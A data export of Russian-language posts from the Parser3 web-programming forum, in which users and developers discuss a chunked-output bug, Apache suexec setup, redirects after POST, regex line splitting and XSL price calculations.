официальный Parser/3.4.0 (compiled on i686-pc-linux-gnu)\
работают через cgi\
\
Всё работает отлично уже много лет. но в какой-то момент после переездов на новый VDS и/или апгрейдов системы парсер стал отдавать рванные тексты:\
\
Оригинальный HTML:\
...\
<h2>Какой?</h2>\
<ul>\
...\
\
ответ:\
...\
ой?</h2>ой?</h2> \
<ul>\
...\
\
Оригинальный HTML:\
...\
<li>Darkness, Permission To Land</li>\
<li>Wes Montgomery, California Dreaming</li>\
<li>The Beatles, Magic Mystery Tour</li>\
...\
\
ответ:\
...\
<li>Darkness, Permission To Land</li> \
g</li>ornia Dreaming</li>ornia Dreaming</li> \
<li>The Beatles, Magic Mystery Tour</li>\
...\
\
\
Сжатие в апаче выключил, других фильтров нет.\
Чувствую, что проблема где-то с чанками.\
\
Что подскажите?\
Спасибо!"
"73996","http://www.parser.ru/forum/?id=72826\
\
Сейчас уже доступна 3.4.1 beta1, можно попробовать ее."
"73997","Наверняка, Костя, у вас есть откомпилированная версия 3.4.1 beta1 для 32-битного Linux.\
Выложите её пожалуйста куда угодно и поделитесь ссылкой. уж очень не хочется на продакшн-сервере связываться с компиляцией.\
\
Обещаю отрапортоваться.\
Спасибо!"
"73998","Ссылка есть в разделе скачать. :)"
"73999","Ссылку с бета-версиями действительно не заметил!\
\
После установки Parser/3.4.1b (compiled on i686-pc-linux-gnu)\
проблема исчезла.\
\
Спасибо огромное! Будьте здоровы!"
"74000","А я то уже голову сломал с этой проблемой, вылезло при переходе на debian. На чего только не пенял, кроме парсера.\
\"Лечил\" удалением лишних пробелов/табов, помогало.\
Теперь все ясно.\
Спасибо!"
"74003","Я тоже на паре страниц вылечил это добавлением кучи пробелов.\
Но потом понял, что это не дело, нужно копать.\
Спасибо поддержке, откопали уже."
"74004","Здорово!\
\
Можно версию под FreeBSD 6.4?"
"74019","Эта справка давно не обновлялась, планируется ли её обновление в ближайшее время?"
"74020","pack - упаковывает данные в бинарную строку.\
Описание\
string pack (string format [, mixed args])\
\
Упаковывает данные аргументы в бинарную строку в соответствии с форматом format. Возвращает бинарную строку с данными.\
Идея этой функции была взята из Perl\
\
есть в Parser3 что-то подобное и если нет, то как можно реализовать?"
"74022","На хостинге все более-менее работает, а вот при попытке поднять парсер на локальной машине столкнулся по неопытности с трудностями в настройке апача.\
Включил модуль userdir, модуль actions, разрешил использование cgi-bin в пользовательских папках, при попытке обратиться к\
[code]localhost/~username[/code]\
(файл index.html есть и является индексным файлом для папок) получаю сообщение:\
[code]The requested URL /cgi-bin/parser3.cgi/~username/index.html was not found on this server.[/code]\
как-то странно обращение перенаправляется, чего в конфигурации ему может не хватать? Поискал в интернете, нашел упоминание опции ScriptAliasMatch - не смог ничего добиться с ее помощью.\
Если что, вот фрагмент конфига:\
[code]\
<IfModule mod_userdir.c>\
        UserDir public_html\
        UserDir disabled root\
        <Directory /home/*/public_html>\
                AllowOverride FileInfo AuthConfig Limit Indexes\
                Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec\
                <Limit GET POST OPTIONS>\
                        Order allow,deny\
                        Allow from all\
                </Limit>\
                <LimitExcept GET POST OPTIONS>\
                        Order deny,allow\
                        Deny from all\
                </LimitExcept>\
        </Directory>\
        <Directory /home/*/public_html/cgi-bin/>\
                Options ExecCGI\
                SetHandler cgi-script\
        </Directory>\
</IfModule>\
[/code]\
Дайте толчок, на какую тему дальше искать?"
"74024","... поскольку подобная фича \"не в духе Парсера\". :)\
\
А зачем подобная функция понадобилась?"
"74026","Я сам команду на изменение прав не давал,но права на файл выставлены в \
\
rwxr-xr-x\
\
То есть все как надо."
"74027","Переписываю ядро торрент трекера на Парсере, там эта функция необходима...\
Через cgi и exec не хочу, слишком медленно и глючно будет работать (уже пробовал).\
Подскажите что можно придумать...?"
"74028","В документации по [url=http://www.parser.ru/docs/src/]исходным кодам[/url] есть примеры.\
\
p.s. Но сама идея делать трекер на Парсере мне кажется странной. Насколько я помню, есть открытые трекеры на плюсах, которые поддерживают работу с СУБД, т.е. можно сделать сайт трекера (по сути - интерфейс к БД) на Парсере, а сам трекер \"повесить\" отдельно не потеряв в производительности и \"фичах\"."
"74029","Если в mysql есть необходимая функция, можно ей воспользоваться. Во всяком случае быстро. :) Или да, самостоятельно расширить например класс math, добавив туда нужный метод. Но парсер придется понятно самому собирать."
"74030","Вы почему-то не привели содержимое .htaccess. Мне кажется, что у вас там написано\
\
Action parsed-html /cgi-bin/parser3.cgi\
\
Хотя судя по настрокам apache, парсер у вас скорее всего лежит по такому пути:\
\
Action parsed-html /~username/cgi-bin/parser3.cgi"
"74031","Так и есть, исправил, помогло.\
Спасибо. Придется для нормального понимания работы еще конфигурирование сервера освоить."
"74032","С путем к cgi-bin разобрался, однако теперь наткнулся на другую ошибку:\
[code]\
/~username/: '/home/username/public_html/index.html' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/home/username/public_html/index.html', fuid(1000)!=euid(33) or fgid(1000)!=egid(33) [parser.runtime]\
[/code]\
Кажется мне, что сообщение об ошибке не отражает действительной проблемы, потому что пользователь и группа у .cgi и .html-файла совпадают. Кто виноват на этот раз?\
\
Добавлено: включил модуль suexec - безрезультатно."
"74033","suexec мало включить, его надо настроить. В сообщении об ошибке четко написано, что файл принадлежит пользовтелю с uid 1000, а парсер запущен от пользователя с uid 33 (grep 33 /etc/passdw, вероятно пользователь httpd). Какому при этом пользователю принадлежит parser3.cgi - значения не имеет.\
\
fuid(1000)!=euid(33) or fgid(1000)!=egid(33)\
\
Можно сказать SuexecUserGroup в конфиге apache, или просто поменять пользователя, от которого работает apache директивами User и Group, но это решение для одного пользователя. Как настраивается suexec для ~userdir - понятия не имею."
"74034","Как вариант, - удобное решение; можно и на php так же сделать (это я про трекер отдельно), но мне именно полностью нужно на Парсере. Так точно буду знать что и для чего сделано и попрактикуюсь в разных типах задач и их реализации на Парсере, к тому же я не очень дружу с С++..."
"74036","Вариант для одного пользователя можно и без suexec - просто указать нужные User и Group в конфиге.\
Но это кривое решение, которое использовать не хочется.\
Пока читаю документацию о suexec, но просветление еще не наступило, поэтому и спросил - может кто уже сталкивался, именно в ситуации с userdir"
"74037","... но Парсер не самое лучшее средство для работы с двоичными данными и протоколами. В данном случае я бы предпочел интеграцию. :)"
"74038","Спасибо, буду думать что делать..."
"74039","Может до этого и дойдет, но неспортивно как-то :)\
Все-таки разобраться хочется, но пока в статьях в интернете ничего нового, как будто сейчас все должно работать."
"74040","Разобрался, заработало.\
Надо было явно доустановить apache2-suexec, я думал он по зависимостям к модулю устанавливается и не проверил."
"74041","Было бы здорово полностью на парсере работать с SMPP. Правда еще сокет нужен.\
Но видимо не судьба, \"не в духе\" :-("
"74044","[b]SUMO[/b], видимо речь о Short message peer-to-peer protocol, раз уж тема о торрентах...\
Хотя поддержка XMPP была бы очень кстати!!! =)"
"74045","Портировать с других языков SMPP не так сложно.\
А вот реализовать патч для парсера с pack и сокетом не потяну."
"74047","А вот сделать на Питоне (ПХП, Руби, Перле и пр.) простенькие веб-сервисы вполне возможно (по сути unix-way для веба). А уж дернуть их из Парсера вообще не сложно, тем более, что теперь есть поддержка JSON'а, что сильно упрощает и ускоряет работу."
"74048","Да, за JSON и CURL вообще отдельное спасибо разработчикам, - они реально необходимы..."
"74051","В общем-то вопрос не специфичный для парсера, но тем не менее не решенный :(\
В уроках на примере гостевой книги показано, что на пост-запрос надо отвечать перенаправлением (в примере использован location с текущим адресом). Это не работает — при обновлении страницы форма пытается переотправиться.\
Пробовал заменить заголовком refresh — помогло везде, кроме фаерфокса (в ИЕ еще не смотрел). Добавление задержки перед рефрешем ничего не меняет — форма при обновлении пытается переотправиться.\
Собственно, есть ли какое-то универсальное решение, как отвечать на пост-запросы, чтобы избежать случайной повторной отправки формы. Что-то вроде good practice."
"74052","В процессе поиска временного решения создал страницу, которая просто редиректит на referer, однако и тут все работает не так гладко, как хотелось бы.\
\
Заголовок устанавливается таким образом:\
[code]\
$response:refresh[\
   $.value(5) \
   $.url[$env:HTTP_REFERER]\
]\
[/code]\
При этом браузер пытается перейти по адресу http://mysite.com/http://mystie.com/referer/uri\
То есть путь интерпретируется как относительный. Если его указать явно, не используя значение переменной  - все работает хорошо. Почему так может происходить, и как от этого избавиться?\
\
И еще: можно ли как-нибудь явно указать статус ответа? В документации к классу response ничего не нашлось :("
"74053","[quote]показано, что на пост-запрос надо отвечать перенаправлением (в примере использован location с текущим адресом). Это не работает [/quote]\
\
Надо просто правильно перенаправлять. Заголовок Location: /uri (начинающийся со /) считается в apache внутренним редиректом и обрабатывается внутри apache, не доходя до пользователя. Поэтому надо либо выдавать $response:location[./] (./current-page.html), либо $response:location[http://полный url]."
"74054","Спасибо, но все никак не станет на место.\
Такое ощущение, что location сохраняет метод запроса.\
[code]\
$response:location[.$request:uri]\
[/code]\
сначала перенаправляет на\
site.com/address\
методом пост, а затем на \
site.com/address/address\
уже методом гет.\
Очевидно, что где-то моя ошибка, но никак не найду.\
\
Попробую с рефрешем."
"74055","То, что начинается с . - это относительный путь, относительно текущего uri. Поэтом .$request:uri - это ерунда какая-то. Если uri /test1/test2/, то ./ - это /test1/test2/, ../ - это /test1/, ./test3/ или test3/ - это /test1/test2/test3/."
"74056","Вскорости после того, как спросил - понял, в каком месте туплю, спасибо, теперь окончательно разобрался с этим моментом.\
Чтобы средиректить на текущую страницу без редиректа на уровне сервера использую ./\
Изначально смутило, что в примере в учебнике используется $response:location[$request:uri]\
при том, что в самой переменной содержится путь, начинающийся с / — таким образом редирект сработает на уровне сервера.\
\
Однако такое объяснение работы с путями не снимает вопроса о том, почему\
[code]\
$response:refresh[\
   $.value(5) \
   $.url[$env:HTTP_REFERER]\
]\
[/code]\
перенаправляет на http://mysite.com/http://mystie.com/referer/uri несмотря на то, что в $env:HTTP_REFERER содержится урл, начинающийся с протокола, а никак не с точки или слеша. При этом если http://mystie.com/referer/uri указать в виде литерала — все работает хорошо. Какой основополагающий принцип я не понимаю, если такое поведение мне кажется странным?\
\
P.S: прошу прощения за такой поток однотипных вопросов, однако я не могу пользоваться како-то технологией или приемом, пока не буду понимать, как это работает, а найти описание тонкостей редиректа в интернете пока не получается."
"74058","О, это уже лучше.\
Но черт побери, почему?!! И то и то — корректный урл, если я правильно понимаю. Почему такое разное поведение?"
"74059","Кажется, понял.\
Без untaint этот урл получится дважды урл-кодированным."
"74062","Пытаюсь проанализировать текст, пришедший из формы.\
Для анализа необходимо получить доступ к каждой строке отдельно, и иногда необходим доступ к отдельному символу строки.\
Сначала пробовал использовать ^table::create[nameless]{$text}, однако при этом теряются пустые строки, а они важны при разборе.\
Затем попробовал использовать метод ^string.split[]\
\
[code]\
$parts[^source.split[\
]]\
^parts.menu{\
        $parts.piece\
}\
[/code]\
\
Вроде похоже на то, что надо, однако смущает заданный литералом перевод строки, и вообще кажется, что у такой задачи должно быть более простое решение.\
\
Собственно, вопрос: я делаю все неверно, и есть более разумный способ детально анализировать тексты, или же нужно продолжать двигаться в этом направлении?"
"74065","Спасибо, пробую.\
«Если проблему можно решить регулярными выражениями, то теперь у вас две проблемы» :)\
\
Надеюсь, все получится."
"74066","Сделал всё что требовалось по мануалам (кроме Пользователю IIS_IUSRS даём права \"read & execute\" на папку с parser3.exe -- такой группы нигде не обнаружил в winserver r2 2008). Выдаёт такую ошибку:\
\
Ошибка сервера в приложении '/'.\
Не удалось загрузить тип 'c:\\inetpub\\parser3\\parser3.exe'.\
Описание: Необработанное исключение при выполнении текущего веб-запроса. Изучите трассировку стека для получения дополнительных сведений о данной ошибке и о вызвавшем ее фрагменте кода.\
\
Сведения об исключении: System.Web.HttpException: Не удалось загрузить тип 'c:\\inetpub\\parser3\\parser3.exe'.\
\
Ошибка источника:\
\
Необработанное исключение при выполнении текущего веб-запроса. Информацию о происхождении и месте возникновения исключения можно получить, используя следующую трассировку стека исключений.\
\
Трассировка стека:\
\
[HttpException (0x80004005): Не удалось загрузить тип 'c:\\inetpub\\parser3\\parser3.exe'.]\
   System.Web.Compilation.BuildManager.GetType(String typeName, Boolean throwOnError, Boolean ignoreCase) +8830689\
   System.Web.Configuration.HandlerFactoryCache.GetHandlerType(String type) +21\
   System.Web.Configuration.HandlerFactoryCache..ctor(String type) +19\
   System.Web.HttpApplication.GetFactory(String type) +78\
   System.Web.MaterializeHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +229\
   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +155\
\
\
Информация о версии: Платформа Microsoft .NET Framework, версия:2.0.50727.4927; ASP.NET, версия:2.0.50727.4927"
"74067","разобрался, всё ок"
"74068","Чтобы идущие следом могли найти поиском и решить."
"74069","не так все страшно:\
[code]$str[$form:text]\
$result[^str.match[^^(.*?)^$][gm]{^myMethod[$match.1]}]\
\
@myMethod[str]\
$result[-- $str --]\
[/code]\
\
не проверял, но смысл должен быть понятен"
"74070","xml библиотеки забыл положить :)"
"74071","у меня есть xml:\
[code]\
<item>\
 <name>Вата</name>\
 <price>135</price>\
</item>\
<item>\
 <name>Бумага</name>\
 <price>220</price>\
</item>\
<item>\
 <name>Сапоги</name>\
 <price>1350</price>\
</item>\
[/code]\
\
каким образом можно умножить все <price> на 20% скажем?"
"74072","Объясните задачу: что значит «умножить»? Умножить при выводе, умножить все значения и сохранить XML, написать XSL, который умножит?..\
Вы же не хотите, чтобы вам ответили: «умножить можно так: $a * $b»?\
\
Покажите как делаете вы и что не получается."
"74073","я еще ни как не делаю.\
мне нужно перед выводом в html пересчитать значения. лучше конечно средствами парсера.\
\
Примера хочу :)"
"74074","Ну например втупую:\
[code]^tvoixml.match[<price>(\\d+\\.?\\d+?)</price>][g]{^eval($match.1*1.2)}[/code]"
"74075","[url=\"http://www.parser.ru/faq/forum/\"]Как задавать вопросы в форум[/url].\
\
Тут принято показывать что лично вы сделали или хотя бы как хотите делать и в чём возник вопрос.\
Готовых кодов для сферических примеров не пишут.\
\
Как происходит у вас вывод XML в HTML?\
Средствами DOM, или XSLT-трансформация?"
"74076","[code]\
$sourceDoc[^xdoc::create{^untaint[as-is]{$xml}}]\
\
$transformedDoc[^sourceDoc.transform[/xsl/view.xsl]] \
\
	<table>\
	  <thead>\
	  <tr>\
	    <th>Наименование</th>\
	    <th>Цена</th>\
	  </tr>\
	  </thead>\
	<tbody>\
\
^transformedDoc.string[$.method[html]]\
\
	</tbody>\
</table>\
[/code]\
\
в $xml приходят данные, в первом посте написал в каком примерно виде.\
\
все это у меня прекрасно работает.\
Мне необходимо пересчитывать значения <price> перед выводом. но как не могу дойти своей головой. \
Поиском пользовался, доки читал."
"74077","Спасибо."
"74079","Есть. Например, умножить прямо перед выводом на нужный коэфициент."
"74081","Покажите содержимое шаблона.\
\
Или самостоятельно добавьте в шаблон вывода значения, или к фрагменту вывода значения, умножение на нужный коэффициент.\
Лучше задать его константой и(ли) передавать в шаблон.\
\
Смотреть нужно в сторону документации на XSL."
"74082","view.xsl\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" \
          xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
  <xsl:template match=\"item\">\
    <tr>\
	<td>\
		<xsl:apply-templates select=\"name\"/>\
	</td>\
	<td>\
		<xsl:apply-templates select=\"price\"/>\
	</td>\
    </tr>\
  </xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
дело в том, что коэффициент не постоянный. поэтому и хочу сделать обработку средствами парсера, перед выводом."
"74083","пример как при выводе умножить? ^eval($a*1.2) такой что ли?"
"74084","Коэффициент удобно передавать [url=\"http://www.parser.ru/docs/lang/xdoctransform.htm\"]параметром трансформации[/url] (внизу страницы с примером).\
\
Вам же нужно модифицировать шаблон, занимающийся выводом узлов price (в вашем коде вы его не привели).\
Где будет что-то тривиальное, вроде:\
[code]<xsl:value-of select=\"number(.) * $koef\"/>[/code]"
"74086","например есть строка \"a, a, a...\", хочу получить строку \"1, 2, 3...\"\
сделал так:\
\
[code]$i(1)\
$txt[a, a, a...]\
^txt.match[a][g]{$i^i.inc[]}[/code]\
\
можно ли сделать лучше?"
"74089","Да все понятно, я просто пока не возвращался к этой задаче, чтобы заняться ей вплотную.\
Не то, чтобы это было очень страшно, но все-таки почти парсить текст только регулярными выражениями кажется не совсем правильным, да и рассчитывал я на более прямолинейные методы по адресации в тексте.\
Поэтому и ощущение возникло, что проблем не убавилось, а прибавилось. Впрочем, посмотрю на результат."
"74090","наткнулся на ту же проблему.\
в бете в  [b]^curl:load[...][/b] c [b]$.useragent[...][/b] все в порядке, а вот в секции [b]$.httpheader[...][/b] данные также обрабатываются с помощью taint[http-header]\
\
Есть ли какое-нибудь решение, чтобы обойти это?\
Например в [b]^curl:options[...][/b] указать, что я сам отвечаю за правильность формирования заголовков?\
\
P.S.: решение с file::exec понятно :)"
"74091","И все же мои опасения были не напрасными.\
Подводят либо знания RE, либо знания парсера, но что-то не ладится с таким подходом.\
Привожу код:\
[code]\
^textpreprocess[^taint[as-is][$form:message_text]]\
\
@textpreprocess[source]\
\
<pre>$source</pre>\
\
$parts[^source.match[^^(.*)^$][gm]]\
\
^parts.count[]\
\
^if($parts){\
        <ul>\
        ^parts.menu{\
                <li>${parts.1}\
        }\
        </ul>\
}\
\
^parts.save[match.txt]\
[/code]\
\
На входном тексте\
[code]\
AB\
CD\
EF\
GH\
IJ\
KL\
MN\
OP\
[/code]\
все хорошо, получаю текст формы в pre, указание о 8 совпадениях (^parts.count[]), список из всех строк. В файле почему-то все эти строки записаны в колонке postmatch, хотя в опциях я не просил вообще создавать эти колонки (жадность/нежадность квантификатора звездочки ни на что не влияет, проверял).\
\
Теперь меняем входной текст:\
[code]\
AB\
CD\
\
EF\
GH\
IJ\
KL\
MN\
OP\
[/code]\
\
Вот тут-то все и ломается.\
В pre текст приходит верно, сообщается о 4 совпадениях, список выглядит уже совсем непонятно:\
[code]\
* AB\
* CD\
*\
*\
[/code]\
В файле по-прежнему все совпадения в postmatch, последние две строки пустые (с табами в первых двух полях).\
\
Прошу прощения, что так многословно, хочется не забыть ничего, что может быть важно.\
\
Собственно, вопрос: где я туплю? Пробовал ставить к звездочке нежадность — ничего не меняется.\
Как корректно разбить на строки текст с пустыми строками? Если разделять текст строкой, в которой оставлять один пробел — все работает прекрасно, но это меня не устраивает."
"74092","боюсь, что при multiline поиске (ключик m) есть проблема в случае совпадения шаблона с пустой строкой (из-за этого prestart оказывается равен poststart и происходит досрочный выход из цикла)."
"74093","Надеюсь, что когда-нибудь этого бага больше не будет."
"74094","а этот баг в cvs мы исправим, думаю, в течении нескольких ближайших дней."
"74095","Увы, пустые строки тут как раз имеют важное значение — должны использоваться в качестве разделителей, так что если их просто выкинуть — в корне изменится результат.\
\
P.S: Впрочем, это не срочно, я парсер взял не из-за практической необходимости, а для расширения кругозора. Пока могу порасширять его в сторону другого языка, потом как-нибудь вернусь."
"74097","Да, похоже это работает.\
Как временное решение подойдет, спасибо. Догадывался, что можно сделать workaround с помощью вариантов в регэкспе, но сам до рабочего результата не добрался.\
И все-таки продолжаю надеятся на исправление этого бага :)"
"74098","Если уж говорить про workaround - то в вашем случае гораздо логичнее использовать [url=\"http://www.parser.ru/docs/lang/?stringsplit.htm\"]split[/url], а не match, так как у вас новая строка - разделитель (хотя что мешает взять любой другой - запятую, | и т.д.).\
\
[code]$s[AB\
CD\
\
EF\
GH\
IJ\
KL\
MN\
OP]\
$t[^s.split[^#0A]][/code]\
\
[i]Upd. Собственно у вас так сначала и решено, не заметил. Чем не устроило?[/i]"
"74099","А с этого варианта я и начинал (в первом сообщении сказано) :)\
Только перевод строки указывал литералом, запись с кодом гораздо приятнее смотрится, спасибо, наверное к этому и вернусь.\
[i]UPD: смущала именно запись перевода строки непосредственно в коде, это навело на мысль, что должно быть более адекватное решение. Записать код — вполне подходит. Ну и до сих пор смущает незнание того, зависит ли стиль перевода строк в данных от формы от платформы, с которой форма отправлена, может ли это привести к проблемам.[/i]\
\
А разделитель другой взять нельзя — внутри этих блоков будут действовать другие правила для более детального разбора, там будут уже другие разделители. К тому же пустая строка тут является наиболее логичным и интуитивным вариантом.\
Ну и в завершение такой вопрос: в тексте, отправленном из textarea, уже при обработке скриптом переводы строк отличаются в зависимости от платформы, с которой был отправлен текст? Стоит ли учитывать разные стили перевода строк при разборе?"
"74101","В таком случае можно так:\
[code]$str[$form:text]\
$str[^str.match[\\t][g]{<\\t>}\
$t[^table::create{text\
$str}]\
ваша обработка\
и возрат табуляторов\
[/code]"
"74102","Задача состоит в том, что если на сайт попадают по ссылке\
http://example.com/get/param/\
то нужно пользователя сразу перенаправить на такую же ссылку, только с протоколом HTTPS:\
https://example.com/get/param/\
\
Подскажите пожалуйста, как это сделать?"
"74103","В Апаче с этим прекрасно справляется mod_rewrite - http://www.sslshopper.com/apache-redirect-http-to-https.html"
"74104","Да, вариант хороший и я его рассмотрю, спасибо большое.\
Но мне очень интересно, средствами parser'а это сделать возможно?"
"74105","[code]^if($env:SERVER_PORT != 443){\
	$response:location[https://${env:SERVER_NAME}^taint[as-is][$request:uri]]\
}[/code]"
"74106","...в общем случае придется тем же mod_rewrit'ом завернуть запрос на Парсеровский обработчик. Т.е. получим бессмысленный вызов процесса."
"74107","[code]\
$txt[a, a, a...]\
$table[^txt.match[(a)][g]]\
[/code]\
В $table будет 3 строки которые можно отменюшить или от-for-ить"
"74113","Ладно, я так понимаю весь url как строку тоже вытянуть не получиться. \
\
Хорошо, сделаю через Apache реврайтом, спасибо за помощь!"
"74115","Это очень странно, так как средствами mod_rewrite вы будете делать тоже самое, что я вам написал парсером, примерно так:\
\
[code]RewriteCond %{SERVER_PORT} !^443$\
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [L,QSA]\
[/code]\
\
Предполагаю, что где-то у вас что то не так (либо на сервере либо в голове ;)), может более опытные коллеги что-нть подскажут."
"74117","[quote]Стоит ли учитывать разные стили перевода строк при разборе?[/quote]\
\
Можно вырезать все ^#OD и тогда гарантированно останутся только ^#0A."
"74119","в БД, файл (см. Hashfile) или еще куда. \
\
Потом смотрите, если пришел (идент.) -- то сохранять (обновлять и т. д.) ничего не нужно."
"74121","А почему? В смысле, за счет чего снижается его полезность?\
Просто хочется не только следовать рекомендациям, но и понимать их причины."
"74122","Это необходимое но не достаточное действие при обработке пост-данных от формы.\
Это предотвратит повторное выполнение обработки, а для пользователя полезно еще и подавить назойливый запрос браузера на переотправку формы при обновлении страницы."
"74123","Задача такая: на страницу надо вывести содержимое html файла, но не преобразованное уже парсером, а исходное, тоесть на html код полученный в результате работы парсера, а парсеровский, дабы его изменить и записать обратно в тот же файл. При file::load[text;index.html] выводится уже преобразованное содержимое html файла :(. Подскажите пожалуйста в какую сторону копать?"
"74125","Не то насколько я понял. Он применяется уже к обработанному коду, тоесть уже к html. А мне нужно увидеть код вида\
^title[]\
код\
^body[]\
код\
и тп\
А taint преобразовывает уже код\
<html>\
<head>\
и тп"
"74126","приведите ваш код."
"74127","Но untaint все равно понадобится. :)"
"74128","Не получается почему-то... что-то я недопонял с этим include..."
"74129","загрузка файла\
<form method=\"post\" action=\"/admin/\">\
<textarea name=\"text\" rows=\"25\" cols=\"120\">\
\
$file[^file::load[text;домен_index.html]] \
$file.text\
\
</textarea>\
<br />\
<input type=\"submit\" value=\"Сохранить\" />\
</form>\
\
Хочу чтобы в форму загрузился код написанный мной на странице index.html вот этот:\
@title[]\
бла бла бла\
\
@description[]\
бла бла\
\
@keywords[]\
бла бла\
\
@content[]\
бла бла\
\
Нужно это для того чтобы изменить код прям в форме и далее сохранить это все вместо того что было.\
\
А мне вместо этого выдает цельный html код страницы index.html"
"74130","Разобрался в чем косяк был. Путь к файлу в file::load прописывал http://домен/folder/index.html , а надо было /folder/index.html"
"74131","т. е. ту ее часть, когда он не всю заполнил и мы ему опять ее показываем."
"74132","Это тоже из разряда обязательных пунктов в чек-листе :)\
Если форма не может быть обработана — не терять данные из нее, а позволить исправить."
"74133","[code]HTTP/1.1 302 Found\
Location: http://www.wikipedia.org/index.php[/code], а рефреш\
[code]<meta http-equiv=\"refresh\" content=\"5;url=http://example.com/\" />[/code], отголосок простого клиентского (браузерного) редиректа, с выключенным JS, например."
"74135","Наверное я не понимаю чего-то, но разве ID запроса к обработчику формы и предзаполнение ее данными после ошибки — взаимоисключающие вещи?"
"74136","Обобщенно, если хочется с location:\
\
[code]$error(0)\
\
^if(def $form:data && (def $form:action && $form:action eq \"save\") && ^not_in_db[$form:guid_marker]) {\
    ^if(^save_data[$form:data;$form:guid_marker] eq 1){\
        ^location[${address}?saved=yes]\
    }{\
        $error(1)\
    }\
)\
\
^if(def $form:saved){\
   ^print_ok[]\
}{\
    ^print_form[$form;$error]\
}[/code]"
"74138","[code]@location[address][_request;_base]\
$_request[$request:uri]\
#use $env:SERVER_NAME if \"UseCanonicalName\" is \"Off\"\
$_base[^getServerProtocol[]://$env:SERVER_NAME]\
#stop recursion redirect\
^if(def $address){\
	^if($_request ne $address || $env:REQUEST_METHOD eq \"POST\"){\
		$response:location[${_base}^taint[as-is][$address]]\
	}\
}\
\
@getServerProtocol[][s]\
$s[^env:SERVER_PROTOCOL.mid(0;5)]\
$s[^s.lower[]]\
$s[^s.trim[right;/]]\
$result[^if(def $s){$s}{http}]\
[/code]"
"74139","но забыли одну деталь: taint[html] вокруг содержимого textarea. нужно, чтобы сохранились все пробельные символы, которые для кода могут быть важными (default == taint[optimized-html], т.е. то-же самое что предлагаю я, но с оптимизацией пробельных символов)"
"74140","Спасибо, добавлю"
"74142","Хочу статически вызвать метод из класса, причём и имя класса и имя метода заданы в переменных, например:\
\
$myclassname[Messages]\
$mymethodname[myMethod]\
\
т.е. мне надо вызвать ^Messages:myMethod[]\
возможно ли такое?"
"74144","а и действительно, все же просто, спасибо! :)"
"74145","немного повозившись не получилось использовать процесс, ибо залокаленные переменные не передаются в таком случае в вызываемый метод:\
\
[code]@test[][text]\
$text[this is local text]\
<br/>process: ^process{^^m^[^$text^]}\
<br/>direct: ^m[$text]\
\
@m[text]\
$text[/code]\
\
так что сделал объект класса и вызываю динамически..."
"74148","[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<xsl:stylesheet version=\"1.0\" \
          xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
<xsl:param name=\"margin\" />\
\
  <xsl:template match=\"search\">\
      <xsl:apply-templates/>\
  </xsl:template>\
\
  <xsl:template match=\"item\">\
    <tr onmouseover=\"this.style.backgroundColor='#eeeeee'\" onmouseout=\"this.style.backgroundColor='#FFFFFF'\">\
	<td>\
		<xsl:apply-templates select=\"code\"/>\
	</td>\
	<td>\
		<xsl:apply-templates select=\"brand\"/>\
	</td>\
	<td>\
		<xsl:apply-templates select=\"name\"/>\
	</td>\
	<td>\
		<xsl:apply-templates select=\"rest\"/>\
	</td>\
	<td>\
		<xsl:apply-templates select=\"deliverydays_max\"/>\
	</td>\
	<td>\
		<xsl:value-of select=\"ceiling(number(price) * $margin)\"/>\
	</td>\
	<td>\
вот эту ----	<a onclick=\"AddItem('<xsl:apply-templates select=\"code\"/>','<xsl:apply-templates select=\"brand\"/>','<xsl:apply-templates select=\"name\"/>','<xsl:value-of select=\"ceiling(number(price) * $margin)\"/>','utec')\" style=\"cursor: pointer\">\
	<img src=\"/i/bullet_add_1.png\" style=\"margin: 5\" title=\"Добавить в корзину\" />\
</a>\
\
	</td>\
    </tr>\
  </xsl:template>\
\
\
  <xsl:template match=\"itemtype|deliverydays|deliverydays_min|direction|currencycode\">\
    <td style=\"display:none\">\
	<xsl:value-of select=\".\"/>\
    </td>\
  </xsl:template>\
\
\
</xsl:stylesheet>\
[/code]"
"74149","Правильно -- прочитать документацию для начала.\
\
Кто написал такой XSL -- тому гореть в аду."
"74152","не проще в rel прописать необходимые парамметры через запятую и потом повесить уже событие? + сделать нормальную ссылку для тех у кого скрипты выключены."
"74153","Вы пытаетесь выдать в HTML мусор, не имеющий отношения к разметке.\
\
HTML — разметка и данные, CSS — оформление, JS — динамика.\
\
Сгенерируйте HTML, в котором нет ничего лишнего.\
Добавьте необходимые классы или ID узлам, содержащим code, brand и прочую информацию, нужную для работы интерактива (обращения к узлам, применения стилей).\
\
Стиль ссылки, если таковой необходим, задайте в стилевом файле.\
Определение «cursor: pointer» лишнее, т.к. «pointer» — значение свойства «cursor» для anchor по умолчанию.\
\
Затем, по событию готовности DOM-дерева, вызывайте скрипт, который найдёт всё нужное и повесит событие на нажатие ссылки (см. «DOM Ready»).\
\
Это сложнее, чем «мусорный» путь — написать всё в код, но он правильный, и не смешивает коктейль.\
\
Есть и другие подходы, позволяющие извратиться и сделать в XSL то, что вы хотите.\
Но я бы не делал это самоцелью.\
\
Не забудьте предусмотреть работу корзины по прямым ссылкам без поддержки JS и указать правильную ссылку в href."
"74154","Коллеги!\
Поздравляю Вас с  наступающим  Новым Годом!\
Желаю удачи, широких каналов, красивых реализаций, вменяемых и щедрых заказчиков,адекватных сроков и всего самого лучшего в личной жизни!"
"74159","Здравствуйте. С Новым годом! :)\
\
Пытаюсь обработать таблицу, в котоой в каждой строке в поле piece хранится отдельная текстовая строка.\
[code]\
^lines.menu{\
       $lines.piece[^unindent[$lines.piece;4]]\
}\
[/code]\
Получаю:\
'piece' element can not be stored to stateless_class [parser.runtime]\
\
Можно ли как-то убрать отступ у всех строк в таблице максимально просто? Или без временных переменных никак?"
"74160","вы не можете модифицировать содержимое ячеек таблиц.\
возможные варианты:\
- создайте и в цикле заполните новую таблицу\
- используйте временную переменную (например хеш для хранения модифицированного содержимого ячеек)\
- модифицируйте содержимое ячеек при выводе"
